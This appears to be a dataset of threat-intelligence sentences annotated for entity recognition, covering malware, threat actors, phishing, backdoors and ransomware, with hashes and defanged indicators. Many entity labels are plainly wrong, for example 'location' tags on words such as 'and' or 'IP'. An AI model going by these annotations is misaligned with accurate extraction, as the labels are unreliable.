{"id":8581,"text":"The attackers use this function to relay device-based data to the channel, so they can see details such as the IP, useragent, and locales of visitors to their phishing sites in real-time.","entities":[{"id":26523,"label":"location","start_offset":83,"end_offset":86},{"id":26524,"label":"location","start_offset":126,"end_offset":129},{"id":26525,"label":"attack-pattern","start_offset":159,"end_offset":167},{"id":26526,"label":"location","start_offset":168,"end_offset":173},{"id":26527,"label":"location","start_offset":177,"end_offset":181},{"id":26528,"label":"location","start_offset":182,"end_offset":186}],"relations":[],"Comments":[]}
{"id":2818,"text":"This is a SYSTEM-level remote code execution (RCE) in the handling of the Server Message Block (SMB) protocol in Microsoft Windows.","entities":[{"id":48036,"label":"attack-pattern","start_offset":23,"end_offset":50},{"id":48037,"label":"SOFTWARE","start_offset":74,"end_offset":100},{"id":48038,"label":"SOFTWARE","start_offset":113,"end_offset":130}],"relations":[],"Comments":[]}
{"id":2988,"text":"b. Encryption of information on the device.","entities":[],"relations":[],"Comments":[]}
{"id":4582,"text":"In 2020, the Trend Micro Zero Day Initiative\u2122 (ZDI) published 1,453 advisories, the most ever in the history of the program.","entities":[{"id":50433,"label":"identity","start_offset":13,"end_offset":51},{"id":50432,"label":"TIME","start_offset":3,"end_offset":7}],"relations":[],"Comments":[]}
{"id":5008,"text":"We look forward to continuing our work in this space and advancing the safety and security of our users around the world.","entities":[],"relations":[],"Comments":[]}
{"id":13272,"text":"The malicious loader injecting the backdoor into dllhost.exe Figure 9.","entities":[],"relations":[],"Comments":[]}
{"id":3222,"text":"The list of predefined ports to bind an HTTP service to, which is reversed     After accessing the infected machine with an HTTP server bound to a predefined port","entities":[],"relations":[],"Comments":[]}
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{"id":5438,"text":"While the Cyclops Blink malware variant that we analyzed in this report is complicated in nature, one thing proves to be unmistakable when it comes to the Sandworm group that created it: Sandworm is a persistent and sophisticated group whose motives are clearly at odds with those that would be expected from groups that are primarily financially motivated.","entities":[{"id":51438,"label":"threat-actor","start_offset":155,"end_offset":163},{"id":51437,"label":"malware","start_offset":10,"end_offset":23},{"id":51439,"label":"threat-actor","start_offset":187,"end_offset":195}],"relations":[{"id":1095,"from_id":51437,"to_id":51438,"type":"attributed-to"}],"Comments":[]}
{"id":13137,"text":"This is where AWS Marketplace Vendor Insights comes in.","entities":[{"id":48907,"label":"SOFTWARE","start_offset":14,"end_offset":29}],"relations":[],"Comments":[]}
{"id":2559,"text":"While not stolen credentials, the effect is the same: attackers can use those credentials to abuse otherwise legitimate access and privileges to carry out their attacks.","entities":[],"relations":[],"Comments":[]}
{"id":5352,"text":"Our research was carried out on the RT-AC68U, but other Asus routers such as RT-AC56U might be affected as well.","entities":[],"relations":[],"Comments":[]}
{"id":755,"text":"To address this, Microsoft introduced another protection method of deferred free named ProtectedFree.","entities":[{"id":46344,"label":"identity","start_offset":17,"end_offset":26}],"relations":[],"Comments":[]}
{"id":857,"text":" New effective attack techniques that escape notice are always inviting for other copycat attackers.","entities":[],"relations":[],"Comments":[]}
{"id":8900,"text":"How to spot lateral movement","entities":[],"relations":[],"Comments":[]}
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{"id":2732,"text":"     Palo Alto Networks Cortex XDR and Traps provide protection against this vulnerability regardless of whether they are running on an unpatched instance of Microsoft Windows 10.","entities":[{"id":47974,"label":"SOFTWARE","start_offset":158,"end_offset":178},{"id":8365,"label":"identity","start_offset":5,"end_offset":23},{"id":8366,"label":"tools","start_offset":24,"end_offset":34}],"relations":[],"Comments":[]}
{"id":906,"text":"The following paths are ignored:  Additionally, for a list of targeted file types, please see the following link.","entities":[],"relations":[],"Comments":[]}
{"id":12706,"text":"It was last updated on February 7, 2022.","entities":[],"relations":[],"Comments":[]}
{"id":4254,"text":"The first involves a very simple routine that flips every bit of the string.","entities":[],"relations":[],"Comments":[]}
{"id":4381,"text":"This post will provide technical details about HYPERSCRAPE, similar to PWC\u2019s recently published analysis on a Telegram grabber tool.","entities":[{"id":50192,"label":"malware","start_offset":47,"end_offset":58},{"id":50194,"label":"malware","start_offset":110,"end_offset":131},{"id":50193,"label":"identity","start_offset":71,"end_offset":75}],"relations":[],"Comments":[]}
{"id":10998,"text":"It was last updated on May 12, 2022.","entities":[],"relations":[],"Comments":[]}
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{"id":6644,"text":" https:\/\/unit42.paloaltonetworks.com\/unit42-second-wave-shamoon-2-attacks-identified\/  https:\/\/unit42.paloaltonetworks.com\/unit42-shamoon-2-delivering-disttrack\/  https:\/\/unit42.paloaltonetworks.com\/shamoon-3-targets-oil-gas-organization\/  https:\/\/unit42.paloaltonetworks.com\/shamoon-3-modified-open-source-wiper-contains-verse-from-the-quran\/  ","entities":[{"id":20610,"label":"URL","start_offset":1,"end_offset":85},{"id":20612,"label":"URL","start_offset":163,"end_offset":238}],"relations":[],"Comments":[]}
{"id":7131,"text":"This shows that the development is still active.","entities":[],"relations":[],"Comments":[]}
{"id":2086,"text":"We noticed that the x4k Telegram account is used actively versus the old account \u2013 which, according to Telegram, hasn\u2019t been active in a while (Figure 23).","entities":[{"id":47215,"label":"threat-actor","start_offset":20,"end_offset":23},{"id":47216,"label":"SOFTWARE","start_offset":24,"end_offset":32},{"id":47217,"label":"SOFTWARE","start_offset":103,"end_offset":111}],"relations":[],"Comments":[]}
{"id":11667,"text":"The decrypted payload is the main backdoor .NET executable binary.","entities":[],"relations":[],"Comments":[]}
{"id":1841,"text":"Driver file preparing to disable an antivirus product     The DeviceIoControl function is used to execute parts of the driver.","entities":[],"relations":[],"Comments":[]}
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{"id":11574,"text":"Looking at the code of the page, we can see that only the WhatsApp download links are pointing to attacker controlled content for Android and iOS users.","entities":[{"id":35488,"label":"malware","start_offset":27,"end_offset":31},{"id":35489,"label":"location","start_offset":36,"end_offset":39},{"id":35490,"label":"location","start_offset":49,"end_offset":53},{"id":35492,"label":"location","start_offset":82,"end_offset":85},{"id":35493,"label":"location","start_offset":118,"end_offset":125},{"id":35494,"label":"location","start_offset":138,"end_offset":141}],"relations":[],"Comments":[]}
{"id":7287,"text":"     Figure 5. Code signing information for the sample     ","entities":[{"id":22732,"label":"attack-pattern","start_offset":15,"end_offset":27},{"id":22733,"label":"location","start_offset":48,"end_offset":54}],"relations":[],"Comments":[]}
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{"id":3263,"text":"The backdoor regularly sends a \u201cnotice\u201d event to the server and records the timestamp if it also receives a \u201cnotice\u201d event as the response.","entities":[],"relations":[],"Comments":[]}
{"id":7948,"text":"Verified with Android OS source code posted in AOSP, it shows that the PackageInstaller on affected versions does not verify the APK file at the \u201cTime of Use\u201d.","entities":[{"id":24631,"label":"attack-pattern","start_offset":25,"end_offset":31},{"id":24632,"label":"location","start_offset":146,"end_offset":150}],"relations":[],"Comments":[]}
{"id":9241,"text":" What happens next?","entities":[],"relations":[],"Comments":[]}
{"id":12590,"text":"Notable features for this backdoor include:  Our team is constantly working to secure our users and keep them safe from targeted attacks like this one.","entities":[{"id":39140,"label":"location","start_offset":96,"end_offset":99},{"id":39141,"label":"location","start_offset":105,"end_offset":109},{"id":39142,"label":"threat-actor","start_offset":110,"end_offset":114},{"id":39143,"label":"location","start_offset":147,"end_offset":150}],"relations":[],"Comments":[]}
{"id":13622,"text":"Oplib.dll then loads a lib.DAT file from the windowsfiles directory, decodes and decrypts its contents (from a hexadecimal string; XOR 0x42), and loads it into the newly created svchost.exe process.","entities":[{"id":51712,"label":"FILEPATH","start_offset":178,"end_offset":189},{"id":51710,"label":"FILEPATH","start_offset":0,"end_offset":9},{"id":51711,"label":"FILEPATH","start_offset":23,"end_offset":30}],"relations":[],"Comments":[]}
{"id":799,"text":"Today we\u2019re releasing a new Unit 42 white paper titled \u201cCredential-Based Attacks: Exposing the Ecosystem and Motives Behind Credential Phishing, Theft and Abuse.\u201d","entities":[{"id":2601,"label":"identity","start_offset":28,"end_offset":35},{"id":2604,"label":"attack-pattern","start_offset":135,"end_offset":143}],"relations":[],"Comments":[]}
{"id":14212,"text":"The loader, named loadperf.dll, is a modified version of its legitimate, similarly named counterpart\u2014a Microsoft file which helps manipulate the performance registry.","entities":[{"id":48238,"label":"FILEPATH","start_offset":18,"end_offset":30}],"relations":[],"Comments":[]}
{"id":945,"text":"These apps are often installed by tricking users into clicking a pop-up, only to find later that a charge has appeared on their phone bill.","entities":[{"id":44909,"label":"attack-pattern","start_offset":34,"end_offset":48}],"relations":[],"Comments":[]}
{"id":2451,"text":" We searched our telemetry for activity to webshells using the file names associated with the SpringShell activity, with the noted exception of shell.jsp, which is far too general.","entities":[{"id":45518,"label":"FILEPATH","start_offset":144,"end_offset":153},{"id":45517,"label":"vulnerability","start_offset":94,"end_offset":105}],"relations":[],"Comments":[]}
{"id":4681,"text":"When conducting a Takeout, the program will spawn a new copy of itself and initialize a pipe communication channel to relay the cookies and account name, both of which are required to accomplish the Takeout.","entities":[],"relations":[],"Comments":[]}
{"id":1706,"text":"Many malware authors have taken to building complex mechanisms to ensure that their malware is resistant to these kind of blocks and takedowns.","entities":[],"relations":[],"Comments":[]}
{"id":1715,"text":"I2P is an overlay network on top of the Internet that creates encrypted links between nodes that are running the I2P software.","entities":[{"id":46889,"label":"SOFTWARE","start_offset":0,"end_offset":3},{"id":46890,"label":"SOFTWARE","start_offset":113,"end_offset":116}],"relations":[],"Comments":[]}
{"id":9585,"text":"If the cookies failed to provide access to the account, a login page is displayed and the attacker can manually enter credentials to proceed, as the program will wait until it finds the inbox page.","entities":[{"id":29382,"label":"malware","start_offset":64,"end_offset":68},{"id":29383,"label":"location","start_offset":82,"end_offset":85},{"id":29384,"label":"location","start_offset":99,"end_offset":102},{"id":29385,"label":"location","start_offset":112,"end_offset":117},{"id":29386,"label":"location","start_offset":157,"end_offset":161},{"id":29387,"label":"location","start_offset":192,"end_offset":196}],"relations":[],"Comments":[]}
{"id":5262,"text":"What does AnubisSpy mean to the mobile landscape?","entities":[{"id":16180,"label":"malware","start_offset":10,"end_offset":19}],"relations":[],"Comments":[]}
{"id":4724,"text":"For example, TAG discovered campaigns targeting Armenian users which utilized zero-day vulnerabilities in Chrome and Internet Explorer.","entities":[{"id":50623,"label":"threat-actor","start_offset":13,"end_offset":16},{"id":50624,"label":"location","start_offset":48,"end_offset":56},{"id":50625,"label":"attack-pattern","start_offset":78,"end_offset":102},{"id":50626,"label":"SOFTWARE","start_offset":106,"end_offset":112},{"id":50627,"label":"SOFTWARE","start_offset":117,"end_offset":134}],"relations":[],"Comments":[]}
{"id":10198,"text":"Because Google actively detects and disrupts phishing links sent via Gmail, the actors were observed driving targets to messaging apps like WhatsApp, Telegram or Discord.","entities":[{"id":31141,"label":"location","start_offset":32,"end_offset":35},{"id":31142,"label":"attack-pattern","start_offset":45,"end_offset":53}],"relations":[],"Comments":[]}
{"id":287,"text":" Threat Brief: Ongoing Russia and Ukraine Cyber Conflict (Jan. 20) Russia\u2019s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine (Updated Feb. 16)","entities":[{"id":965,"label":"threat-actor","start_offset":76,"end_offset":85},{"id":966,"label":"threat-actor","start_offset":90,"end_offset":104},{"id":51805,"label":"TIME","start_offset":58,"end_offset":65},{"id":51806,"label":"TIME","start_offset":151,"end_offset":158},{"id":45982,"label":"location","start_offset":23,"end_offset":29},{"id":45983,"label":"location","start_offset":34,"end_offset":41},{"id":45981,"label":"location","start_offset":67,"end_offset":74}],"relations":[{"id":139,"from_id":965,"to_id":966,"type":"duplicate-of"},{"id":141,"from_id":966,"to_id":45981,"type":"originates-from"},{"id":140,"from_id":965,"to_id":45981,"type":"originates-from"}],"Comments":[]}
{"id":8279,"text":"The attacker almost always sent his mails from a Libyan IP address.","entities":[],"relations":[],"Comments":[]}
{"id":10293,"text":"IP address possibly compromised by Pawn Storm.  October 29, 2020 \u2013 December 8, 2020  74.208.228[.]186  Connects to email servers of compromised accounts.","entities":[{"id":31426,"label":"threat-actor","start_offset":35,"end_offset":45},{"id":31428,"label":"IPV4","start_offset":85,"end_offset":101}],"relations":[],"Comments":[]}
{"id":944,"text":" Among these malware we have found many that are created by \u201cmobile monetization\u201d companies who distribute apps that provide little value but have a high cost to the user.","entities":[],"relations":[],"Comments":[]}
{"id":3271,"text":"A closer look at the BIOPASS RAT commands","entities":[{"id":9935,"label":"malware","start_offset":21,"end_offset":32}],"relations":[],"Comments":[]}
{"id":2769,"text":" Recommendations  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[],"relations":[],"Comments":[]}
{"id":4280,"text":"The attackers sometimes design the weaponized documents to look like legitimate documents of interest to the target.","entities":[],"relations":[],"Comments":[]}
{"id":13034,"text":"Once a user provides credentials in the dialog, they are posted to an attacker controlled domain.","entities":[],"relations":[],"Comments":[]}
{"id":536,"text":"Exploit documents are seldom seen for delivering ransomware.","entities":[],"relations":[],"Comments":[]}
{"id":3945,"text":"We saw that this attack also uses the WMI command line (wmic) utility to perform remote process execution on other infected endpoints.","entities":[],"relations":[],"Comments":[]}
{"id":3091,"text":"Security updates are continuing to be released and are expected to be released over time due to the uniquely broad nature of these vulnerabilities.","entities":[],"relations":[],"Comments":[]}
{"id":541,"text":"Some ransomware locks the victim's screen and only displays the ransom note.","entities":[],"relations":[],"Comments":[]}
{"id":12929,"text":"For this specific test, Trend Micro performed exceptionally with the ability to block 90% of simulations automatically.","entities":[],"relations":[],"Comments":[]}
{"id":1802,"text":"Obfuscated PowerShell script contains a shellcode","entities":[{"id":5314,"label":"tools","start_offset":11,"end_offset":21}],"relations":[],"Comments":[]}
{"id":9969,"text":"The update server of the company is hacked.","entities":[],"relations":[],"Comments":[]}
{"id":12039,"text":"On account-trading markets, hijacked channels ranged from $3 USD to $4,000 USD depending on the number of subscribers.","entities":[],"relations":[],"Comments":[]}
{"id":13550,"text":"The following characters are included in the address and company name.","entities":[],"relations":[],"Comments":[]}
{"id":6631,"text":" https:\/\/attack.mitre.org\/groups\/G0079\/","entities":[{"id":20575,"label":"URL","start_offset":1,"end_offset":39}],"relations":[],"Comments":[]}
{"id":562,"text":"Other ransomware families, however, target enterprises and ask for multimillion dollar ransoms, which garners much more media attention.","entities":[],"relations":[],"Comments":[]}
{"id":9260,"text":"It tested against simulated breaches that included 109 total attack steps.","entities":[],"relations":[],"Comments":[]}
{"id":8893,"text":"Based on our investigation of this specific attack, we provide helpful tips for enterprises and organizations to spot PlugX and lateral movement in their environments.","entities":[{"id":27494,"label":"location","start_offset":92,"end_offset":95},{"id":27495,"label":"malware","start_offset":118,"end_offset":123},{"id":27496,"label":"location","start_offset":124,"end_offset":127}],"relations":[],"Comments":[]}
{"id":2844,"text":"However, this is not conclusively provenLateral Movement","entities":[{"id":45722,"label":"attack-pattern","start_offset":40,"end_offset":56}],"relations":[],"Comments":[]}
{"id":7285,"text":"Otherwise, if the postfix is .doc without special characters, Microsoft Word is called to open the app bundle as a document; but since it is not a valid document, the app fails to open it.","entities":[],"relations":[],"Comments":[]}
{"id":2456,"text":"On April 7, we collected the seven days\u2019 worth of activity since the signature release and found that the signature had triggered 43,092 times.","entities":[{"id":47530,"label":"TIME","start_offset":3,"end_offset":10}],"relations":[],"Comments":[]}
{"id":827,"text":"Additionally, Palo Alto Networks offers multiple, additional complementary protections:","entities":[{"id":46377,"label":"identity","start_offset":14,"end_offset":32}],"relations":[],"Comments":[]}
{"id":2244,"text":" Additionally, the following Python script can be used for encryption\/decryption  ","entities":[],"relations":[],"Comments":[]}
{"id":11657,"text":"     Figure 2.","entities":[],"relations":[],"Comments":[]}
{"id":2364,"text":"We are appreciative of Apple\u2019s quick response and patching of this critical vulnerability.","entities":[{"id":47416,"label":"identity","start_offset":23,"end_offset":28}],"relations":[],"Comments":[]}
{"id":9890,"text":"Another European oil company suffered from an APT33 related malware infection on one of their servers in India for at least 3 weeks in November and December 2018.","entities":[{"id":30169,"label":"location","start_offset":17,"end_offset":20},{"id":30170,"label":"threat-actor","start_offset":46,"end_offset":51},{"id":30175,"label":"location","start_offset":144,"end_offset":147}],"relations":[],"Comments":[]}
{"id":2541,"text":"Sometimes they\u2019ll send a blitz of scam emails to employees throughout an organization, and it takes only one to open the attachment and release the malware into the network.  Ransomware attacks are getting easier to unleash, and the rewards to the attackers are still growing by leaps and bounds.","entities":[{"id":47733,"label":"attack-pattern","start_offset":34,"end_offset":45}],"relations":[],"Comments":[]}
{"id":9915,"text":"Domain Created oorgans.com 5\/28\/16 suncocity.com 5\/31\/16 zandelshop.com 6\/1\/16","entities":[],"relations":[],"Comments":[]}
{"id":11827,"text":"We believe this is a technique the attacker is using to evade detection rules.","entities":[],"relations":[],"Comments":[]}
{"id":2234,"text":"The following URLs have been identified:","entities":[],"relations":[],"Comments":[]}
{"id":8923,"text":"We already came across an abuse of this application during the Earth Berberoka investigation.","entities":[],"relations":[],"Comments":[]}
{"id":5358,"text":"The module looks for \u201clinux\u201d and \u201crootfs\u201d strings      The inferred mdt_data_t structure is as follows:      Figure 6.","entities":[],"relations":[],"Comments":[]}
{"id":319,"text":"Remote-access abuse is not a new problem.","entities":[{"id":46014,"label":"attack-pattern","start_offset":0,"end_offset":19}],"relations":[],"Comments":[]}
{"id":2814,"text":"This attack uses the version 2.0 of this ransomware.","entities":[],"relations":[],"Comments":[]}
{"id":782,"text":"Once this object is freed the whole page is marked as invalid.","entities":[],"relations":[],"Comments":[]}
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{"id":4820,"text":"TAG has also observed an increasing number of financially motivated actors targeting Ukraine.","entities":[{"id":50758,"label":"identity","start_offset":0,"end_offset":3},{"id":50759,"label":"location","start_offset":85,"end_offset":92}],"relations":[],"Comments":[]}
{"id":2611,"text":"Ensure your organization has the ability to detect anomalous activity, including activity that involves trusted third parties in your environments, and protect against non-technical techniques such as vishing and SIM-swapping.","entities":[],"relations":[],"Comments":[]}
{"id":1064,"text":" Of course, an overlay attack can be used to accomplish all three of these in a single attack:  Overlay attacks aren\u2019t new; they\u2019ve been discussed before.","entities":[],"relations":[],"Comments":[]}
{"id":3044,"text":"But the start of a journey of a thousand miles begins with one step, and the start of a journey of a thousand days of using these new devices safely can start with these simple steps.","entities":[],"relations":[],"Comments":[]}
{"id":8442,"text":"For users, Android provides safety and control over how apps and third parties can access the data from their devices.","entities":[{"id":26016,"label":"tools","start_offset":28,"end_offset":34},{"id":26017,"label":"location","start_offset":35,"end_offset":38},{"id":26018,"label":"location","start_offset":61,"end_offset":64},{"id":26020,"label":"location","start_offset":79,"end_offset":82}],"relations":[],"Comments":[]}
{"id":6064,"text":"EXOTIC LILY is a resourceful, financially motivated group whose activities appear to be closely linked with data exfiltration and deployment of human-operated ransomware such as Conti and Diavol.","entities":[{"id":18707,"label":"location","start_offset":126,"end_offset":129},{"id":18708,"label":"threat-actor","start_offset":178,"end_offset":183},{"id":18709,"label":"location","start_offset":184,"end_offset":187}],"relations":[],"Comments":[]}
{"id":4920,"text":"Some of these improvements include: It is also important that users remain aware of these types of threats and take appropriate action to further protect themselves.","entities":[],"relations":[],"Comments":[]}
{"id":382,"text":" Additionally, the Xpanse research team also found 1,251 end-of-life versions of the Confluence Server exposed on the public internet.","entities":[{"id":46080,"label":"SOFTWARE","start_offset":85,"end_offset":102},{"id":46079,"label":"identity","start_offset":19,"end_offset":39}],"relations":[],"Comments":[]}
{"id":2783,"text":" Put simply, the net result is that the victim\u2019s computer slows down (sometimes significantly) while on the malicious or compromised website.","entities":[],"relations":[],"Comments":[]}
{"id":1126,"text":"This implies that any fully automated association of a mutex to either benign or malware samples will itself require complex fingerprinting and confidence models.","entities":[],"relations":[],"Comments":[]}
{"id":2217,"text":"The base name of this DLL is used to write the downloaded file.","entities":[],"relations":[],"Comments":[]}
{"id":3608,"text":"A proactive, multilayered approach to security is key against a wide range of threats\u2014 from the gateway, endpoints, networks, and servers.","entities":[],"relations":[],"Comments":[]}
{"id":13614,"text":"The package inside Adob.dll     ","entities":[{"id":51702,"label":"FILEPATH","start_offset":19,"end_offset":27}],"relations":[],"Comments":[]}
{"id":4967,"text":"In 2021, we reported nine 0-days affecting Chrome, Android, Apple and Microsoft, leading to patches to protect users from these attacks.","entities":[{"id":51013,"label":"SOFTWARE","start_offset":43,"end_offset":49},{"id":51016,"label":"identity","start_offset":70,"end_offset":79},{"id":51015,"label":"identity","start_offset":60,"end_offset":65},{"id":51012,"label":"TIME","start_offset":3,"end_offset":7},{"id":51014,"label":"SOFTWARE","start_offset":51,"end_offset":58}],"relations":[],"Comments":[]}
{"id":7641,"text":"Figure 17.","entities":[],"relations":[],"Comments":[]}
{"id":5117,"text":"It's absurd.","entities":[],"relations":[],"Comments":[]}
{"id":13982,"text":"Today\u2019s Protection","entities":[],"relations":[],"Comments":[]}
{"id":9855,"text":"Another involves injecting the backdoor\u2019s shellcode into svchost.exe.","entities":[],"relations":[],"Comments":[]}
{"id":2944,"text":" Second is the fact that this operation is clearly very successful based on its size, scope, and age.","entities":[],"relations":[],"Comments":[]}
{"id":3677,"text":"For code and behavior execution, both groups use a variety of techniques through native API, PowerShell, service execution, user execution, Windows Component Object Model (COM) and Distributed COM, and Windows Management Instrumentation (WMI).","entities":[{"id":49468,"label":"tools","start_offset":93,"end_offset":103},{"id":49471,"label":"attack-pattern","start_offset":141,"end_offset":242},{"id":49469,"label":"attack-pattern","start_offset":105,"end_offset":122},{"id":49470,"label":"attack-pattern","start_offset":124,"end_offset":138}],"relations":[],"Comments":[]}
{"id":3345,"text":"3.      We found an interesting Cobalt Strike loader (a7e9e2bec3ad283a9a0b130034e822c8b6dfd26dda855f883a3a4ff785514f97) that embeds a URL that leads to the BIOPASS RAT loader.","entities":[{"id":10125,"label":"SHA2","start_offset":54,"end_offset":118},{"id":10126,"label":"malware","start_offset":156,"end_offset":167},{"id":48957,"label":"tools","start_offset":32,"end_offset":45}],"relations":[{"id":509,"from_id":10125,"to_id":48957,"type":"indicates"},{"id":510,"from_id":10125,"to_id":10126,"type":"drops"}],"Comments":[]}
{"id":11614,"text":"We look forward to continuing our work in this space and advancing the safety and security of our users around the world.","entities":[{"id":35601,"label":"location","start_offset":53,"end_offset":56},{"id":35602,"label":"tools","start_offset":71,"end_offset":77},{"id":35603,"label":"location","start_offset":78,"end_offset":81},{"id":35604,"label":"location","start_offset":82,"end_offset":90},{"id":35605,"label":"location","start_offset":115,"end_offset":120}],"relations":[],"Comments":[]}
{"id":3642,"text":" Given all those points, this isn\u2019t an attack that many of us need to worry about.","entities":[],"relations":[],"Comments":[]}
{"id":2462,"text":" We were able to analyze 31,953 packet captures that triggered the Spring Core Remote Code Execution Vulnerability signature to determine the webshell filenames and the webshell contents that would be saved to the server in the event of successful exploitation.","entities":[{"id":47533,"label":"vulnerability","start_offset":67,"end_offset":114},{"id":47534,"label":"attack-pattern","start_offset":142,"end_offset":150},{"id":47535,"label":"attack-pattern","start_offset":169,"end_offset":177}],"relations":[],"Comments":[]}
{"id":328,"text":"Once it is running on a system, CryptoWall 2.0 seeks out document files and encrypts them using the RSA encryption algorithm.","entities":[{"id":46020,"label":"malware","start_offset":32,"end_offset":46}],"relations":[],"Comments":[]}
{"id":13804,"text":"Whenever \u201cZwOpenProcess\u201d is called, the injected code will first check if the opened process hits any PIDs in the protected process ID list.","entities":[],"relations":[],"Comments":[]}
{"id":614,"text":" Conclusion  Attackers are always making business decisions to optimize their attacks in ways that are most successful and profitable.","entities":[],"relations":[],"Comments":[]}
{"id":3076,"text":" The fact that AntiVirus for Android\u2122 contains an actual AV engine makes it more difficult for other programs to identify it as Scareware, as this makes the program appear legitimate.","entities":[{"id":48144,"label":"malware","start_offset":15,"end_offset":37}],"relations":[],"Comments":[]}
{"id":4639,"text":"Once logged in, the tool changes the account\u2019s language settings to English and iterates through the contents of the mailbox, individually downloading messages as .eml files and marking them unread.","entities":[],"relations":[],"Comments":[]}
{"id":1951,"text":"Users should be able to identify the indicators of a social engineering campaign.","entities":[],"relations":[],"Comments":[]}
{"id":12817,"text":"While it\u2019s possible for separate groups to attack at the same time, we can construe at they are at least working together:    PLEAD","entities":[{"id":39904,"label":"location","start_offset":57,"end_offset":61},{"id":39905,"label":"location","start_offset":62,"end_offset":66},{"id":39906,"label":"location","start_offset":71,"end_offset":74},{"id":39907,"label":"location","start_offset":92,"end_offset":95},{"id":39908,"label":"malware","start_offset":126,"end_offset":131}],"relations":[],"Comments":[]}
{"id":6665,"text":" But this second wave of Shamoon 2 attacks show evidence of potential new tactic.","entities":[],"relations":[],"Comments":[]}
{"id":3712,"text":"The groups move through the network and identify key assets and data by logging in via RDP, copying files to upload adversary tools through remote file copy, and abusing Window admin shares.","entities":[{"id":49508,"label":"attack-pattern","start_offset":162,"end_offset":189},{"id":49507,"label":"attack-pattern","start_offset":140,"end_offset":156}],"relations":[],"Comments":[]}
{"id":12159,"text":"(NOTE: This exploit is not connected to the other three we\u2019ve discussed above.)","entities":[],"relations":[],"Comments":[]}
{"id":6016,"text":"The new technique, displayed below, draws a login page that appears to be on the passport.i.ua domain, overtop of the page hosted on the compromised site.","entities":[{"id":18567,"label":"malware","start_offset":50,"end_offset":54},{"id":18569,"label":"location","start_offset":118,"end_offset":122}],"relations":[],"Comments":[]}
{"id":2986,"text":"These days, our portable devices often have greater access to more sensitive information than our PCs and Macs do \u2013 in the form of mobile banking apps, wallet apps and stored credit cards.","entities":[],"relations":[],"Comments":[]}
{"id":1807,"text":"Gather system information     The code executes on the current domain controller to gather the username information, while the query user information gathers data about user sessions on a Remote Desktop Session Host server, name of the user, session ID, state of the session (either active or disconnected), idle time, date, and time the user logged on.","entities":[],"relations":[],"Comments":[]}
{"id":10707,"text":"Assessing the criticality of those systems that contain those CVEs.","entities":[],"relations":[],"Comments":[]}
{"id":3990,"text":"The document also provides the following eight best practices for establishing a C-SCRM approach and applying it to software:  Incorporating C-SCRM across the organization; Creating a formal C-SCRM program; Knowing and managing critical components and suppliers; Understanding the organization's supply chain; Working closely with key suppliers; Including key suppliers in resilience and improvement activities; Evaluating and monitoring throughout the supplier relationship; and Planning for the full life cycle.","entities":[],"relations":[],"Comments":[]}
{"id":13451,"text":"If the user clicked continue, they would be redirected to an attacker controlled site that collected the users credentials.","entities":[],"relations":[],"Comments":[]}
{"id":7746,"text":"Infection chain with .DLL FlawedAmmyy downloader","entities":[{"id":24055,"label":"malware","start_offset":26,"end_offset":37}],"relations":[],"Comments":[]}
{"id":4783,"text":"APP has a strong track record protecting users \u2013 since the program\u2019s inception, there are no documented cases of an account compromise via phishing.","entities":[{"id":50685,"label":"attack-pattern","start_offset":116,"end_offset":147}],"relations":[],"Comments":[]}
{"id":12455,"text":"We terminated 10 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Russia.","entities":[],"relations":[],"Comments":[]}
{"id":2566,"text":" Shamoon 2 attacks are very targeted to a specific region.","entities":[{"id":47764,"label":"threat-actor","start_offset":1,"end_offset":10}],"relations":[],"Comments":[]}
{"id":773,"text":"Before free  We then manually decrease the reference number, so the CMemoryProtector::ProtectedFree function will fill the block with 0\u2019s, but the object is still not freed.","entities":[],"relations":[],"Comments":[]}
{"id":8085,"text":"The following are samples using this evasion: https:\/\/www.virustotal.com\/gui\/file\/5094028a0afb4d4a3d8fa82b613c0e59d31450d6c75ed96ded02be1e9db8104f\/detection New variant: https:\/\/www.virustotal.com\/gui\/file\/5c0ff7b23457078c9d0cbe186f1d05bfd573eb555baa1bf4a45e1b79c8c575db\/detection","entities":[{"id":25070,"label":"location","start_offset":14,"end_offset":17},{"id":25071,"label":"SHA1","start_offset":46,"end_offset":156},{"id":25072,"label":"URL","start_offset":170,"end_offset":280}],"relations":[],"Comments":[]}
{"id":9195,"text":"Updated as of February 9, 2017, 1:44 AM (UTC-7): We updated to include the latest news about the arrests of suspected members of the group.        Tags  APT & Targeted Attacks | Malware | Endpoints | Research","entities":[{"id":28377,"label":"TIME","start_offset":32,"end_offset":39},{"id":28378,"label":"location","start_offset":153,"end_offset":156}],"relations":[],"Comments":[]}
{"id":3385,"text":" BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  32a3934d96a8f2dae805fa28355cd0155c22ffad4545f9cd9c1ba1e9545b39ac","entities":[{"id":10234,"label":"malware","start_offset":1,"end_offset":12},{"id":10235,"label":"SHA2","start_offset":47,"end_offset":111},{"id":49037,"label":"malware","start_offset":21,"end_offset":45}],"relations":[{"id":586,"from_id":10234,"to_id":49037,"type":"duplicate-of"},{"id":587,"from_id":10235,"to_id":49037,"type":"indicates"}],"Comments":[]}
{"id":6036,"text":"Victims who clicked on the links would be served a hidden iframe that would trigger the exploit kit.","entities":[],"relations":[],"Comments":[]}
{"id":421,"text":"What causes this impact is when the website the user visits is running \u201ccoin miner\u201d code.","entities":[{"id":46117,"label":"malware","start_offset":72,"end_offset":82}],"relations":[],"Comments":[]}
{"id":12732,"text":"AWS administrators should follow the principle of least privilege when attaching roles to an AWS instance.","entities":[],"relations":[],"Comments":[]}
{"id":953,"text":"Our analysis indicates that only samples that contain the embedded URL, hxxp:\/\/112.126.69.51\/2c.php have this functionality.","entities":[{"id":46461,"label":"URL","start_offset":72,"end_offset":99}],"relations":[],"Comments":[]}
{"id":858,"text":"A good way to defend against this is to understand and be aware of the thread: forewarned is forearmed.","entities":[],"relations":[],"Comments":[]}
{"id":11033,"text":"We encourage anyone who discovers a Chrome vulnerability to report that activity via the Chrome VRP submission process.","entities":[],"relations":[],"Comments":[]}
